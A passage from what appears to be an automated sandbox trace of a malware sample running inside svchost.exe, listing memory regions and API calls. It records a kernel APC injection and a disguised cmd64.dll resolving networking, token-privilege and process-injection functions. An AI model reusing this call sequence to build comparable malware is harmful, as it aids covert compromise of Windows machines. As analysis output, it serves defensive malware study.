0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 986 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 987 start_va = 0xf90000 end_va = 0x125efff entry_point = 0xf90000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 988 start_va = 0xd50000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 989 start_va = 0xdf0000 end_va = 0xe6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 990 start_va = 0x1280000 end_va = 0x12fffff entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 991 start_va = 0x7fefce40000 end_va = 0x7fefce53fff entry_point = 0x7fefce4101c region_type = mapped_file name = "RpcEpMap.dll" filename = "\\Windows\\System32\\RpcEpMap.dll" Region: id = 992 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 993 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 994 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 995 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 996 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 997 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 998 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 999 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1000 start_va = 0xe80000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 1001 start_va = 0x13f0000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 1002 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 1003 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 1004 start_va = 0x7fefce30000 end_va = 0x7fefce36fff entry_point = 0x7fefce314b0 region_type = mapped_file name = "WSHTCPIP.DLL" filename = "\\Windows\\System32\\WSHTCPIP.DLL" Region: id = 1005 start_va = 0x7fefce60000 end_va = 0x7fefcee0fff entry_point = 0x7fefce6cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" Region: id = 1006 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 1007 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Region: id = 1008 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1009 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 1010 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 1011 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1012 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1013 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1087 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 1088 start_va = 0x7fefcd70000 end_va = 0x7fefce2afff entry_point = 0x7fefcd76de0 region_type = mapped_file name = "FirewallAPI.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" Region: id = 1089 start_va = 0x7fefd420000 end_va = 0x7fefd426fff entry_point = 0x7fefd42142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" Region: id = 3198 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3199 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3200 start_va = 0x1670000 end_va = 0x176ffff entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 3201 start_va = 0x17e0000 end_va = 0x185ffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 3202 start_va = 0x1990000 end_va = 0x1a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 3203 start_va = 0x7fefacc0000 end_va = 0x7fefad12fff entry_point = 0x7fefacc2b98 region_type = mapped_file name = "FWPUCLNT.DLL" filename = "\\Windows\\System32\\FWPUCLNT.DLL" Region: id = 3204 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 3205 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 133 os_tid = 0x298 [0077.464] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.464] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.466] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0077.466] IoIs32bitProcess (Irp=0x0) returned 0 [0077.466] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80035b81d0 [0077.466] KeInitializeApc (Apc=0xfffffa80035b81d0, Thread=0xfffffa80035cc550, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0077.466] KeInsertQueueApc (Apc=0xfffffa80035b81d0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0077.466] ExFreePoolWithTag (P=0xfffffa80035b81d0, Tag=0x0) [0077.466] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800c1c5010 [0077.466] IoGetCurrentProcess () returned 0xfffffa80036184c0 [0077.466] PsGetCurrentProcessId () returned 0x294 [0077.466] IoIs32bitProcess (Irp=0x0) returned 0 [0077.466] KeInitializeEvent (in: Event=0xfffffa800c1c5050, Type=0x0, State=0 | out: Event=0xfffffa800c1c5050) [0077.466] ExQueueWorkItem (in: WorkItem=0xfffffa800c1c5010*(List.Flink=0x0, List.Blink=0xfffff80002a5f5d0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800c1c5010), QueueType=0x1 | out: WorkItem=0xfffffa800c1c5010*(List.Flink=0x0, List.Blink=0xfffff80002a5f5d0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800c1c5010)) [0077.480] KeWaitForMutexObject () returned 0x0 [0077.511] ExFreePoolWithTag (P=0xfffffa800c1c5010, Tag=0x0) [0077.512] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.515] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.517] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.517] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.519] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0077.522] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0077.522] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0077.522] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0077.522] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0077.522] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0077.522] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.522] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.523] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.523] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.523] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.524] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.524] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.525] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.525] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.526] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.526] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.527] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.527] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.529] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.529] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.545] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0077.545] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0077.545] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0077.545] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0077.545] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.546] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0077.546] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0077.547] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.547] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0077.547] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0077.548] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0077.548] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0077.548] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0077.548] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0077.548] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0077.552] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0077.552] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0077.552] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x20f428 | out: lpflOldProtect=0x20f428*=0x40) returned 1 [0077.552] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x20f428 | out: lpflOldProtect=0x20f428*=0x4) returned 1 [0077.552] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0077.552] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0077.552] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0077.552] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0077.553] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0077.554] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0077.555] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0077.555] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0077.555] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0077.555] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0077.555] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0077.555] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0077.555] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0077.556] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0077.556] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0077.556] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0077.556] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0077.556] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0077.556] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0077.556] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0077.556] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0077.556] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0077.556] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0077.556] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0077.556] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0077.556] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0077.556] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0077.556] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0077.557] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0077.558] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0077.559] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0077.560] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0077.560] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0077.560] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0077.560] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0077.560] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0077.560] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0077.560] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0077.560] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0077.561] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0077.561] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0077.561] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0077.561] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0077.561] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0077.562] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0077.562] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\svchost.exe") returned 0x1f [0077.562] PathFindFileNameA (pszPath="C:\\Windows\\system32\\svchost.exe") returned="svchost.exe" [0077.562] GetCommandLineA () returned="C:\\Windows\\system32\\svchost.exe -k RPCSS" [0077.563] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0077.563] StrStrIA (lpFirst="C:\\Windows\\system32\\svchost.exe -k RPCSS", lpSrch="netsvcs") returned 0x0 [0077.565] StrStrIA (lpFirst="svchost.exe", 